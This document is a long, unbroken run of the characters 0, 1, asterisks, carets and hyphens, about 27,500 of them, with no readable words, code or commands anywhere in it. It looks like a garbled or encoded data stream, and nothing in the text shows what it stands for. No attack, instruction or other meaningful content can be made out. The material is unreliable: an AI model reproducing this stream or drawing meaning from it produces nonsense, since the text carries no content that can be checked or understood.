---*001*00-00101*001^1*0-1*01010^-*00--------1^-1*-*-1*--------*011*00-00101*001^1*^1101*****00--0^-011*001*010^10^1*-11*011*001*1*********0^1*--00^11010^1*01101101*011**1*0--00-11*1011***^-11*0011*00--0-11*0101**011010-01*011*00--------*1101*0-00101*001^1*01101*1101*00101****1**0010-*0010^11011******011**0011*101**--------0011011*0-00101*001^1*01101*1101********************01**1*0^--------1^-1*-00-01*--------001*01*-00101*001^1*10-**********1*********01**0101*101*01^11*00^11010^10110-11*1*01^-^--01********001^101*001**011011**0010^1^^10-11*001*******-1*10--0^^10-11*001*******-1*10--*1*0011**--------10101101*-00101*001^1*0-1*0101*001101*----------01*-00101*001^1**11*01^1*11****001**0-01**1011********11*101*******************0011*********-^1********011*101********10^101********0-**********011*********0-*********01*011********01010-********01101*0101*10101*001*1*********1*001*0-*11*001^1*001*******-1*10--001101*01^1*********1***-001*1***001***-1********001^-1**00-***1^1^1******0---------01**-*01*001^1*0-1*01010^11011******001**1010-0-*00--------01^1*00-*01*001^1*0-1*--------1^-1*-*0-*--------001011*00-*01*001^1*^1101*****0011*01101*11**^1^^1^^10-11*-*001*1*********0^1*^-0010-01*011**1101*01*00101101010^1*001**11*******1***01**001*101**011010-01*011*00--------00-01*0-*01*001^1*0101*0-11*1101*00101****1**0101*00-1011011011******011**0011*101**--------1*-*0-*01*001^1*0101*0-11*1101**101*--------01^-*-00^1101**********001*00^1*^1********0011*1*001*11*001*1*---------1*1*-*01*001^1*01101**********1*********01**0101*101*01^11*00^1101*-*1*011011**001*00---------00101*-*01*001^1*^1101*****0011010-01*101*001*010^10-1010-11*101*001*1*0101*001101*--------110-01*-*01*001^1*-01*01^1*11****001**101101**1011*********1101********01011011********001010101********01*1*********001101********011*101********1101^1********1011011*******************101^1********00-*********0101^1*********11*0101*1*1*001*1*********101*1*0-00-*001^1*001****01**0^110^--0011*001^1*001****01**0-010^--0101*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**0110-******1**00101****11***01^1^1*--------0-**0-001011*0^1*0-11*010101*-^--010-0-0-11*1*011*10^1********00^-*001*01*******010101010--*10^1*****01**0^10-*001*01*******010101010--*****001**0^10-*001*01*******010101010--01*******00^10^1010-0-*00--------01*01*0-001011*01*^101101010-11*101*001*1*--------0010-1*-*1011*--------1^101*0-001011*00-1*********-*00^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------0101011*0-001011*0^1101******110-10-1**001*010^1*****001**110101**01*01*001*1*1101*00101*******1010110-1011011011******011**0011*101**--------0101*1*-001011*00101*0-11*1101**101*--------0010-1*-*0011*--------0101^1*-001011**-*********-*********001**0101*101*01^11*00^1101010^110-11*1*011011**001*00--------0^1101*-001011*0^1*0-11*0101*001101*--------00-101*-001011*01101*0-11*01^1*11****001**001101**1011********0-***********11*********011*********10-11*********0-*********11011*********0101101*********1*1********************001*********01*1********011011*********011*0101*10^1**********1*1*0-00101*001^1*001*******0-11010--*1*001^1*001*******010101010--001101*01^1*********1***-001*1***001**0010-******1***11****-***1^1^1************-*01**0-1^11011*11**00^1****1**1*******0010101*011*001**001*11010^^1**010-1************-*1**0010101*0-0011*^-101^-11*001****01**0-010^--*****001**01*0011*001*01*******0-11010--00101****01**11*00-1101^11****001**10^1*00101*1**00-0110101******001^^-11011011011*******1011*1101*0--11**00^1*********0-*010-0---------*1011*-*011*01^1*01101*--------11*101010-*101****01**101*01*10^1**00^1*********00101********************0101*********00101*********00101*********101*00101*1*11*01*1*0011*01^1*^11***********0010-01101^1*********11*0010-011011****01****01*0101******11**010^1**1******11**^101**01*101****01**1^1*-101^11*******1010^-1101^11**11****001**-001*00101*1**0101*00101****01**001*01*10^1**00^1*********1^11*00-*******************0101********************0101********************0101*00101*^101*01*1*0101*01^1**11*--------00101**-*01*001^1*01011**********1**0-00--------01010-*-00^1101*****00^10--10-*001*010^-101**1*01*1*--------*011*00-*01*001^1*^1101*10-0-11*1*^-101*-11*101*001*1*********-1*0^-001**00--1*11**1*0--------*^1*0-*01*001^1*^1101*****00--0110-001*00^1^^-101*-*001*1*0011*0-01*--------01^-*-00^1101********010110-*00^1*^1********0101^1*00^101*001*1*--------0-011*0-*01*001^1*^110101^^-*^-11*-*001*1*1^^-*^-11*-*001*1*********0^1*^-001**00--101101**1*0--------^1*1*-*01*001^1*00-*0011**011*1101*00101****01**01*00-1101^11****001**10^1*00101*1**--------00110-*-001*^1*****01**0-***01*11*001*1*--------00110101*-*01*001^1*0101*0-11*********^1*0^-001**00---101**1*0--------0-1101*-*01*001^1*11011010^11*1*^^-*101*001*1*0011*001101*********0-01********001*1101********101*01********0^-*********1*1*********1*1********0-1********************01**********00110101********0^-********01101*0101*1*1*001*1*001*001^1*^11**1*01^1*001*******-1*10--0-*001^1*001****01**0^110^--0011*001^1*001*******0-11010--0101*001^1*001****01*****0--001101*01^1*********1***-001*1***001**0^-******1***1^11**00101***1^11011******001010^--------*0101*0-*011*00-1*---------0101*0-*011**011*--------0010-1*-*1101*--------00^11*0-*011**-*********-*00^-001**00--1*11*011*00--------0010-*0-*011*0^11*0101*0-01*--------0010-1*-00^11*--------11*001*-*011*001011*********-*00^-001**00--101101*011*00--------1^^1*-*011*00101*0-11*0101**011*0101****01**1**-11011011**011****001**10^1*00101*1**--------1^-1*-*101*0-11*--------*01101*-*011*01101*0-11**********1*0^-001**00---101*011*00--------1*0011*-*011*001101*0101*001101*********1*01********00-011********00101^1********0^1*********001**********0011011*******************101^1********00110101********0010-1********0-011********001^-*********11*0101*1*01**11*011011*01101*01^1*********1***-001*1***001***0-*********10-01**0011***01^1^1******0010101*11****001***101*00101*101****01**0^1*1^-001**011****001**01^1*00101*101****01****0-00-001**0101******0011*01*0101*1*****1101*01^1*********1***-*110^1***10101*01*******11*0-0-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******11*0-10-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******01*0-0-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******01*0-10-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1***00--------01101**-*11*001^1*^1101******0010-110-01*001*010^1*****01***-001*00^^1*01*1*01010^-*00--------^10-*-00^110101*^1*01*-11*-*001*1*1*^1*-10-11*-*001*1*--------10-1*00-*11*001^1*^110101101*0-11*1*^1*****01***0-1**1*001*01*1*********0^1*--00^1101*1*001*1*110110^1011*^1*******1**01*001*001*01*001^1*1*0110-11*1011*******101**01***1*101**011010-01*011*00--------1011011*0-*11*001^1*^110101*0110-11*1*^11*1^-11*-*001*1*1101*00101*******-101*0101*1**--------11*001*-*11*001^1**11*1101**01*01********1^^10101*0--101**0^1*--------0^-1*-*101*0-11*--------00-001*-*11*001^1*11011**********1*********01**0101*101*01^11*00^110^-0110-11*1*011*1*0011**--------10101101*-*11*001^1*01011*0101*001101*----------01*-*11*001^1*01101*01^1*11****001**00^1**1011********010^1*******************0101011********001*101*********00101*********-*********0011**********00101*********0011*******************0-*********01101*0101*^11*001*1*********1*001*0-00^1*01^1*001*******010101010--*01*01^1*001*******0-11010--0-*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**0-011******1**01101****001***1^1^1*--------00101**-*01*001^1*110110^-1*1*^-001*-11**1*01*1*01010^-*00--------1^-1*-*0-*--------010101*00-*01*001^1*-01**********1*0010-0010-01*011**1*0--------010-*00-*01*001^1*1*^11*-0-11**1*01*1*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------0^101*0-*01*001^1*^110101*^1*****01****-*00^-*001*1*1*^-11*0-11*-*001*1*1101*00101********1*-1011011011******011**0011*101**--------1^-*0-*01*001^1*^1*0-11*1101*01101*0-11*--------01^-*-00^1101*****001^^1*00-*00^1^^1********0101^1*001*11*001*1*--------0^^1*-*01*001^1*^110^-1*1*^-01*0-11*101*001*1*********0-*********01**0101*101*01^11*00^110^1^110-11*1*011*1*0011**--------1*1101*-*01*001^1*00-*0101*001101*--------110-01*-*01*001^1*0-1*01^1*11****001**11*1**1011********010^1********0-1*1********-0-********00-**********011**********11*********0110101********010^101********-00101******************0010^101********-1*1********0011*0101*1*1*001*1*********101*1*0-*001*01^1*001****01**0-010^--0-*001^1*001*******0-11010--0011*001^1*001****01**0^110^--0101*001^1*001****01*****0--001101*01^1*********1***-001*1***001**0011011******1***101****01***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-1^1*******0010101*********11*******0-*001*0101*****011**1*0-*****011****11**********001*******0010101*********011*******11**00-01*********0101******11**001011*****************0101^1*00^10101*11*001*^-010^-00^1^1*00-*-----1010-110^1*--00^101^-*^101*1*1*10101*1*1*1*010-010^-00^1^1*01101*10101*1^1**11010-01*10101*1*1*0011010-010^-00^1^1*0-1*------0-11010^110-1^^11010-01*011****001**01010110-1011*1*001*1*011*001*1*1*00-1010^-00^1^1*1101101*011*1*^1*****01**00-011**1*0-*1*1*011*001^1**11010-01*011*001*1*********^101********************1*1********0^101********************1011********************101*********001011********00^1*0101*10-00^1*1*-00^1^1**11****-101101^^11**0-10110101****01**00101*-101101^1*1*1*011****001**1^1^-1011011**1^1*1*1*011****001**-01^-101^^1*1*1*1^1*1*1*011****001**10101^-101^11*****1*00-1101*0101*11****011**0011*1*101*^11*1*110101^-101*1*001********************1*001*0^10-*011****01**01*001*0101*0101*11011010^1**1^1^-11**^11011*00101*1011*01*1*001****001**110101*--01^1*1*1*011****001**^-00-10110-*001*1*1^1*1*1*1^1*1^1*011****001***01^1^-0011*00-----^--1**1*-*0^^1^1*^1101******-01*0-011*001*010^1*01010-11*^11*1*1*0^1*1^1*110101******101**00101*1101*-11*^10^-11*011****011**0011*1*101*^11*1*110101^110-*1*001*******************01**01*01*0011*011****01**01*001*010^11**11011010^1**1^-10-1**1*0011*11**1*1*1*1*-----^--1*0011*-*0^^1^1*00-*0^1*1^1*011****01**001^11*0101******11**10-01**1******11**1*101**^110101*******-01*101******01***0-1*001******01***1^1*00^1*1*1*1*011*******10101**101******11**-*01*001******11**10101101*001*0110-11010^^110^-1^-11*1*^1*****01**001011**001*0-*1*1*-----110---**00-*0^^1^1*^1*0-11*^1**110^110101******0010^1*101******01**110101**01******01**-1101**1*11****011**10-001*10^1101**-^1*^11*-1*001*0101*-01*^1*0-11*-*001*1*1*1*1^1*011****001**0^1011*10^-1*01*1*^1**001*1*1*-----110--10-1*00-*0^^1^1*1^1*-11**01*1^1*011****001**001^--01^101****01**01101010-1011*011*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01^-*01*1*-----110--10^11*0-*0^^1^1*^1101******01*0101^11**^1^^1********001^11*00^11011*1*1*110101******00^1*00101******01***00-*001******01**0-0-*001***********1*001**1*1*1*011****001**001^--01^101****01**01101010-1011*011*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01^-*01*1*0110--0101*1101*-----110--*01101*-*0^^1^1*1*^1********-01101*001*-1*1*1*-1*01*11***********1*00^^101^-*1011****001**001^--01^101****01**01101010-1011*011*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01^-*01*1**01*1^1*1*******001*0^1011*1**********01*00^-----110--1*-1*-*0^^1^1*^1101*******1^^1*1*001*010^1^10^-11*01011*1*1*-1*01^1*011****001**001^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01^-*01*1*0-*01^1*011****001**0-110-110110110101******1*1101*101*0101010-11*01101*^1*01*1*101*001*1*-----10--1**1*0-*0^^1^1*^1101*********1*11*00^1*^1*0-0-11*10^^1*1*1011*01^1*011****001**0^1011*10^1101*01*1*^1**11*01*1*0011*01^1*011****001**001^--01^101****01**01101010-1011*011*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01^101*01*1*-----10--110-11*0-*0^^1^1*^1101*******00101****^1^^110^110-11*11011*1*1*1101*01^1*011****001**001^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01^101*01*1*0101*01^1*011****001**0-110-110110110101******1*1101*101******01**01*1**01******01**0110-**1*001*01*1*101*001*1*1010--0101*101*0-11*-----10---101011*-*0^^1^1**01*-11*^1**110^^1*01*1*00110-11010^^11010-^10-11*1*^1********1^^1*001*-1*1*1*-----10--11*-1*-*0^^1^1*11011**1*010110^110101******010-1*0101******11**00-11**1******11**-0101**1*001*01*1*1010--0101*101*0-11*--------*01**-*0^^1^1*^1101********0110-01*00^1*^1********00-101*00^10-*1*1*10101*10110^110101******010-1*0101******11**11*1**01******11***1***^-*001*1*--------*-*00-*0^^1^1*0^1*-11*^1*01^1*011****001**10110110-101^11****011**10-001*10^1101**-^1*^1^-11*001*0101*-01*0-*0-11*011*001*1*001*001*1*--------0101101*0-*0^^1^1*^1101*****00--11*0011**1*010^1********1^-1*001*1011*1*1**1*01^1*011****001**10110110-101^11****011**1*-*0101*-**^^1011010101*011*001*1011********************-*01*01*11*001*1*001*001*1*-*001^1*011****001**10110110-101^11*******00101011*10^^-*011*0-00101**01*00^^11*********001*11*001*11*001*1*001*001*1******001**0011011********01*-*****001***1101*********1101011********-^1******1***10-*****01***0-01*****01**0^1011********0101*11*****011**101*01*****001**-10101********10-001****************11***101********00101*11********11011******01**001011******01***--****************01**001*1*********101*101*1*^^1*1*00^^1^1*10-*******1**1^1*00-*11*001^1*01101*101*001^1*011****001**--0-00-*10110-0101*1*^1^1*^110101^^1********1*-1*00^11011*1*1*1^^1********1*-1*00^11011*1*1*******1*00-11010^-*11****001**1*-0-101^11****001***1^1*101*0011*01*11011**^1^^1*1**1*0101*001*001*1********************01011********00101101*******************0-011********00101101*********11*00101*^1*^1*1*01*^1^1*11011*******1*00^1^110-01101^1*11**-101^1*001^1*011****001**01^1101^-*01******************************************01**********01*********0101*00101*1**^1*1**00^1^1*01011*-----110--101**00-*0011*1^1*^110^^-0-11*1*^1*****01**00-001**^10-*1*1*0^1*110101*0110-11010^^1101******---*011*001*010^^^^-11*^11*1*1*-----110--01^1*00-*0011*1^1**01*-11*^1**110^1**00--10101*0-11*01101*1*1*-----110---011*00-*0011*1^1*^110101*1010-11*1*^^-110-11*10-*1*1*01101*1^1*-01*1010--0101*^1*-11*-----110--101^1*0-*0011*1^1*1*^-1*10-11*0-1*1*1*0011**110^1**00--101101*01101*1*1*-----110--*0011*0-*0011*1^1*01011*-11*01101*1^1*01011*10101*1^1*01101*^10-11010^^1101*********010101*00^1*^1********--11*00^10-*1*1*-----110----1*0-*0011*1^1**11*-11*^1**110^1**00--1^11*01101*1*1*-----110---1*1*-*0011*1^1*^110^1101*1*^^101*-11*10-*1*1*01101*1^1*0-1*-----110--*00101*-*0011*1^1*1*1*-11******0101*0011010110^-00110101******-01101*10^^^10-11*-10^-11**1*01010--0101*-*0-11*-----110--00-101*-*0011*1^1*^1101*****0010^1**-**^1^^101101*11011*1*1*1*1*00110^1**00--110-*01101*1*1*-----110--00101011*-*0011*1^1*-01*01101*1^1*0101*0-11*-----110--*00-*-*0011*1^1*10-******0101**1010101^-00^1*00110--010^-01*-----110--1*-1*-*0011*1^1*1*^11*0110-11*00-*1*1*0011**110^1**00--1^1*0-11*01101*1*1*-----10--1101**00-*0011*1^1*11011*01101*1^1*00-*1101*00101^110101*1*1*00101*1*1*^10-11010^^1101*****001101^11*001**1*010^1*****01**00^1**001*1011*1*1*-----10--101^1*00-*0011*1^1*^110101*^1********1*0011*001*-1*1*1*1*^1********10101101*001*-1*1*1**11*00110^1**00---011*01101*1*1*-----10--1101*1*0-*0011*1^1*10-*-11*01101*1^1*^1*0-11*1011*0011****001**0-1**10^-*001010--010^10-*-11*-----10--110-01*0-*0011*1^1*1*^101101010-11*10-*1*1*0011**110^1**00--10-1*01101*1*1*-----10--1*0-*0-*0011*1^1*01101*-11*01101*1^1**11*0101*00101****01**0^1*1^-0^10-11010^^1101******1*001*01101*001*010^1*********10101*001*1011*1*1*-----10--10^^1*-*0011*1^1*^1101*****0010110^11011011*00^1^^1********1^^1*00^11011*1*1*10101*00110^1**00---101*01101*1*1*-----10--10-0101*-*0011*1^1**11*01101*1^1*^11*00101*1^1*01**-10-11010^1*^1*****01**00-011**1*0-*1*1*-----10--1011*11*-*0011*1^1*0-1**1**110^1**00--1*11*01101*1*1*-----10--110101011*-*0011*1^1*^1101*****0011*01*00101**^1^^1********010-11*00^11011*1*1*01101*1^1*10-*-----10--110110-*-*0011*1^1*^1101*****001011*-10101**1*010^1********1101*1*00^^11*1*1*0011*0110101******0-*1*101******11**01^11**1******11***1011**1*11****01**01*001*010^11**11011010^1**1^--01**0^10-*11**-*00^10-11010^^1101*****0010^-00110101*001*010^1*****001**010^1**1*1011*1*1*--------*011*00-*0011*1^1*^1101*****00-*1^11011**1*010^1*********00101*00^^11*1*1*10101*00110^1**00--^-*01101*1*1*--------001^1*0-*0011*1^1*0-1*-11*01101*1^1*11011******0-*0010^1*00-001010--0101*-1*-11*--------1*011*0-*0011*1^1*1^1*-11*^1**110^1**00--101011*01101*1*1*--------1*-*0-*0011*1^1*^11*-11*01101*1^1*01101*********1*11******1***0-********0010^1*****************1**10-******001**01^11******1**0-*******1**001011******1**01011**********00^1********10-01**********1******01**011*1*****001**010-011*****001**00^11*********010101*****01**00-0-********-^11*****01**0-0011*********11**********11******001***^1********001*0011*****01**010-001*********0^1*****01***0-1*****001**0101*11*****01**0-1*1********-^11*****01**0^10101********110-11********-11*101*1*011*1*1**11*1^1*11011*-11*0-1*1^1*001****01*****0--010-*1^1*001*******0-11010--*-*1^1*001****01**001**0--011011*1^1*001****01**0^110^--001011*1^1*001*******010101010--0^11*1^1*001*******-1*10--010^^1^1*001****01**0-010^--001101*01^1*1**11010^1*1***001**0101011*******1**011***00^1**001^11011****10101*11*00------110--*11*-00^11*1^1*11011010^11*1*^--010-11*11011*1*1*------110-10101011*-00^11*1^1*^1101*****00-11*-01101*001*010^1*****01**0011011**0^-11*1*1*--------^10-*-00^11010-01010-11*1*^1********-00101*001*1011*1*1*------110-010-11*-00^11*1^1*11*^-11*********^1*0^-001**00---010^-11*-01*1*1*-----1*0-10-**0-00^11*1^1*1*^10101*0-11*10-*1*1*-01*1^1*-01*---------10-*-001*^110^^-11*01011*1*1*-----1*0--^1*00-00^11*1^1*^1101*******001*001011*001*010^10^1010-11*0-1*1*1*********0^1*^-001**00--101101*-01*1*1*-----1*0--*01*0-00^11*1^1*110110^1011*1*^-*110-11*10-*1*1*-01*1^1*-1*0-11*-*001^1*01101*--------0^-1*-*101*0-11*-----1*0---01*0-00^11*1^1*00-010-11*********^1*0^-001**00--10-*0-11*-01*1*1*-----1*0--00-*0-00^11*1^1*11011*-01*1^1**00^-11*-----1*0---11*0-00^11*1^1*0^1*-11*--------1^-1*-0011011*-----1*0-10-*1*-00^11*1^1*^1101*****00101^^-0-*00^1^^101*^-11*00-*1*1*********0^1*^-001**00----*-11*-01*1*1*-----1*0--010101*-00^11*1^1*^1101******101*10110-1*001*010^1********10^101*00^-11*1*1*-01*1^1*0-1*--------0^-1*-00-10110-11*-----1*0-1010^11*-00^11*1^1*^1101******01101*110^1*00^1^^1********01011011*001*0-*1*1*********10101*^-*11****001**0-1**10^-*00--------00110-*-001*^1********-01101*00^11011*1*1*-----1*0--10-1*-00^11*1^1*-00^-11*********^1*0^-001**00--110-*-01*1*1*-----11*-10101**0-00^11*1^1*01101010-11*-01*1^1**11*0101*00101****01**0^1*1^-0--------01^-*-00^1101******01^110-11**01*010^1*****01***11*1*00^-11*1*1*-----11*--1101*00-00^11*1^1*^1101*****001^1^-01101*001*010^101*010-11*0-1*1*1*********0^1*^-001**00---101*-01*1*1*-----11*--0^1*0-00^11*1^1**10110-11*-01*1^1*11*^-11*--------0^-1*-*1^110-11*-----11*---01*0-00^11*1^1*^1101******1010-01010101*00^1^^1********01^-*001*0-*1*1*********10101*^-*101********0^-101^11****011**10-001*10^1101**-^1*^1*0-1*001*0101*01101*01011**1*01*1*--------0^-1*-*0010110-11*-----11*-^10^1*-00^11*1^1*011*10-11*********^1*0^-001**00--101*^-11*-01*1*1*-----11*-1*10101*-00^11*1^1*10-010-11*-01*1^1*^1*0-11*0011*0011****001**0-1**10^-*00--------0^-1*-0010-010-11*-----11*--*011*-00^11*1^1*^1101******011*-011011*001*010^1*****01**0-101**0^-11*1*1*********10101*^-001**00--10-1*-01*1*1*-----11*-101*-*-00^11*1^1*01^^-11*-01*1^1*0-*0-11*011*001^1*011****001**--0-00-0---------10-*-001*^110110^-11*10-*1*1*-----10^-1***00-00^11*1^1*01101^-11*********^1*0^-001**00--11011*0-11*-01*1*1*-----10^-^101**-00^11*1^1*^11010--00-11*1*^1********01^101*001*1011*1*1*-01*1^1*^11*-11*1011*01^1*011****001**001^--01^101****01**01101010-1011*011*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01101101*01*1*--------10110-*-00110110^-1*1*^^-110-11*01011*1*1*-----10^-11010101*0-00^11*1^1*11010110-11*********^1*0^-001**00--1*11*-11*-01*1*1*-----10^-1^1011*0-00^11*1^1*-01^-11*-01*1^1*10^^-11*-----10^-10110-*0-00^11*1^1**11010^-00-11*1*^--110-11*11011*1*1*---------10-*-001*^^101010-11**00^1*1*-----10^--11*1*-00^11*1^1*00-^-11*********^1*0^-001**00--^^^-11*-01*1*1*-----10^--*101*-00^11*1^1*1*^1^10^-11*10-*1*1*-01*1^1**01*-11*-----10^--001101*-00^11*1^1*-^10-11*--------01^-*-00^1101******10-101101101**1*010^1********-10101*00^-11*1*1*-----10^--1^11*-00^11*1^1*0-1^-11*********^1*0^-001**00---11*0-11*-01*1*1*-----10^--*-*-00^11*1^1*1*^--*-11*11011*1*1*-01*1^1*0-1*-11*--------0^-1*-00^11*-11*-----10^-1010-11*-00^11*1^1*1*1010-11*********^1*00-11***********1*00^^101^-*1011****001**001^--01^101****01**01101010-1011*011*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--0110-1*01*1*--------0^-1*-**0010-11*------00--0011*00-00^11*1^1**01010-11*********^1*0^-001**00--110-*-11*-01*1*1*------00--1*1*0-00^11*1^1**-00-11*-01*1^1*0011*0-11*001*001^1*0101****1**01^^-00-0011****01**01*001*0101*0101*11011010^1**1^110^101**1*0-*00101*--------0^-1*-*00-00-11*------00--11011*0-00^11*1^1*^1101*****0011*01*10^1*001*010^1*****001**0-01**0^-11*1*1*********10101*^-001**00---01*0-11*-01*1*1*------00--11*1*-00^11*1^1*^1101**********101*00^1*^110101010-11*01011*1*1*-01*1^1*00-*-11*------00-110^101*-00^11*1^1*^1101*****00-0--1*1**^1^^1********1*-1*001*0-*1*1**01*1^1*011****001**001^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--0110-1*01*1*--------0^-1*-*-0^-11*------00--010-*-00^11*1^1*10^110-11*********^1*0^-001**00---011*-11*-01*1*1*------00----*-00^11*1^1*^11010-01*1*^1********1^^1*001*1011*1*1*-01*1^1*0101*0-11*--------0^-1*-00-10110-11*-----^10--011**-00^11*1^1*^1101*****00^1*-1011**0^1^^10^1*-11*00-*1*1*********0^1*^-*001*0--------0^-1*-001*1^-11*-----^10-1010-*00-00^11*1^1*0010-0-11*********^1*0^-001**00--1^1*0-11*-01*1*1*-----^10-10-001*0-00^11*1^1*10101010-11*-01*1^1*01*^-11*0^1*1^1*011****001**0^1011*101**1*1*1**1*01*1*1*1*--------0^-1*-0010101010-11*-----^10-10-011*0-00^11*1^1*0^1*-11*********^1*0^-001**00--11*0^-11*-01*1*1*-----^10-101*001*-00^11*1^1*01010110-11*-01*1^1*-11*-11*-----^10--11*1*-00^11*1^1*10-^-11*110101******00^1*00101******11**0-0101*001******11***00101*001***********1*00^1*1*1*1*011****001**001^--01^101****01**01101010-1011*011*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--0110-1*01*1*--------0^-1*-*1010110-11*-----^10-10^1011*-00^11*1^1*^1101*001010-11*1*^1********101*11*001**0^1*1*********0^1*^-001**00--10-1*-11*-01*1*1*-----^10--110-*-00^11*1^1*^110^1*010-11*1*^10101*0-11*10-*1*1*-01*1^1*00-*1101*00101^101101*1*1*10101*1*1*--------0^-1*-**1^-11*-----11010-10-**0-00^11*1^1*^1101******-00110^^1*00^1^^1********0-0011*001*0-*1*1*********10101*^-001**00---011*-01*1*1*-----11010-1101101*00-00^11*1^1*^1101*****00^1*101010-*001*010^110-010-11*0-1*1*1*-01*1^1*1*0^-11*1*1*1^1*011****001**001^--01^101****01**01101010-1011*011*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--0110-1*01*1*--------01^-*-00^1101*****001101^1****01*010^1********^1^1*001*-1*1*1*-----11010-11010-*0-00^11*1^1*^11*-11*********^1*0^-001**00--1*00^-11*-01*1*1*-----11010-1^1*1*-00^11*1^1*^1101*****001^1*0-***1*010^101011010-11*0-1*1*1*-01*1^1**10^-11*-*001^1**11010^11*-*001*1*---------10-*-001*^11*0110-11**00^1*1*-----11010--110101*-00^11*1^1**11010^11*1*^^101*-11*10-*1*1*********0-*0^-001**00---^^-11*-01*1*1*-----11010-1*^11*-00^11*1^1*11*110-11*-01*1^1*10101*-11*--------01^-*-00^1101*****00--1011*11**1*010^1*****001**1010101**^-11*1*1*-----11010-1*10-*-00^11*1^1*^1101*****0010^1*001101**1*010^1*****01***--*00^-11*1*1*********10101*010-00110101******010-1*010^-0-0-11*00-010-11*^1*01*1*--------^10-*-*0011010-^10-11*1*^1********0^1011*00^11011*1*1*-----10110-110-**-00^11*1^1*^-00-11*********^1*0^-001**00--^101*-11*-01*1*1*-----10110-11*11*00-00^11*1^1*10110110-11*-01*1^1*10-*-11*1*1*1^1*1*******001*0^1011*1**********01*00^--------0^-1*-0010110110-11*-----10110-11*101*0-00^11*1^1*-1*0-11*********^1*0^-001**00--^-*-11*-01*1*1*-----10110-110^11*0-00^11*1^1*-11010-11*-01*1^1*11010^-11*--------00110-*-00^110^--0-11*1*^10101*0-11*01011*1*1*-----10110---11*0-00^11*1^1*^1*0-11*********^1*0--00^101^-*110101*1*1*01101*1*1*--------0^-1*-00-11010-11*-----10110-10101^1*-00^11*1^1*--00-11*********^1*0^-001**00--101010^-11*-01*1*1*-----10110-10-0101*-00^11*1^1*^1101********0-10101*00^1*^1011*10-11*01011*1*1*-01*1^1*1*1*-11*-----10110-^1*11*-00^11*1^1*^1101******01^11*1101**1*010^11*0010-11*0-1*1*1**1*01^1*110101******001^1*0101******01**0010-**1******01**00-01**^110101*******-*00101********0010101101*001********00^1*1*001*0011*110101******-*1*0101******1***-101*001******1**010^101*00^110101******1*0011*101******1**01**1*001******1**0110-01*00^-*001*1*101*001*1*--------0^-1*-*1101*-11*------10-1*001*00-00^11*1^1*11010^-11*********^1*0^-001**00--1*01*-11*-01*1*1*------10-^1011*00-00^11*1^1*00-*-01*1^1*0^1*-11*------10-1**1*0-00^11*1^1*0101101*011*1^^^-010-11*00-*1*1*^1*01^1*110101******001^1*0101******11**010-**01******11**0^1**00^110101*******-*00101******11**-011**01******11**1101***1*0011*110101******-*1*0101******11**11*011*001******11**01011011*00^110101******1*0011*101**********1101*001*********101*1*001*0011010-01*-*001*1*101*001*1*--------^10-*-00^110101^1^-11*1*^1********10-101*001*1011*1*1*------10--*101*-00^11*1^1*^^10-11*********^1*0^-001**00--11*1*-11*-01*1*1*------10--101101*-00^11*1^1**1101010-*-11*1*^1*10^-11*11011*1*1*-01*1^1*1^1*-11*------10-1010^11*-00^11*1^1**00^-11*0101*01^1*110101******001^1*0101******01**11011**001******01**1^11**0^110101*******-*00101******11**11*01**1******11**--1**1*0011*110101******-*1*0101*1*010-11*11011010-11*110101******1*0011*101******1***1^1**1******1**00110-**1*001101*011*-*001*1*101*001*1*--------0^-1*-0010110^-11*-----1*--0011**-00^11*1^1*0^1^-11*********^1*0^-001**00--10^1*-11*-01*1*1*-----1*--01101*00-00^11*1^1*^1101******--011011**001*010^1********001*01*001*-1*1*1*-01*1^1*01011*-11*0-*01^1*011****001**0^1011*101*011*01*1**1*01011*01*1*--------1^-1*-0010-*-----1*-11*1101*0-00^11*1^1*10101*-11*********^1*0^-001**00--1^11*-11*-01*1*1*-----1*-1^11011*0-00^11*1^1**110101*^^101010-11**00^1*1*1*^1********00110-*001**0^1*1*-01*1^1**11*-11*-----1*--01*01*-00^11*1^1*00101010-11*0011*01^1*011****001**001^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01101101*01*1*--------00110-*-00^110^^1010-11*1*^-10-0-11*01011*1*1*-----1*--01*11*-00^11*1^1**0-0-11*********^1*0^-001**00---101*-11*-01*1*1*-----1*--0011011*-00^11*1^1*^1101*****0010110-010-01*001*010^1*00110-11*-11*1*1*-01*1^1*1011*0-11*101*001^1*110101*******0011*0101******11**^11**001******11**1*101**^^1**1*001*1*--------^10-*-00^110^10-00-11*1*^1*****01**0^1101**1**0^1*1*-----1^--^1**-00^11*1^1*^110^^1^-11*1*^1********1*^1*00^11011*1*1*********0^1*^-001**00--^11*0-11*-01*1*1*-----1^-11*011*00-00^11*1^1*^1101*****00^1010-0-**01*010^1********01*001*001*-1*1*1*-01*1^1*^10^-11*--------0^-1*-0011010^-11*-----1^-11*0101*0-00^11*1^1*^10110-11*********^1*00-1^^11010-01*110101******10101101*101******1**0-0-1*001******1**01*0101*00^101*001*1*-*001*1*--------0^-1*-*011*0-11*-----1^-11010-1*0-00^11*1^1*-^10-11*********^1*0^-001**00--1*10^-11*-01*1*1*-----1^-110-*1*-00^11*1^1*^1101******^^--**001*010^--110-11*0-1*1*1*-01*1^1*11011*-----1^--1*101*-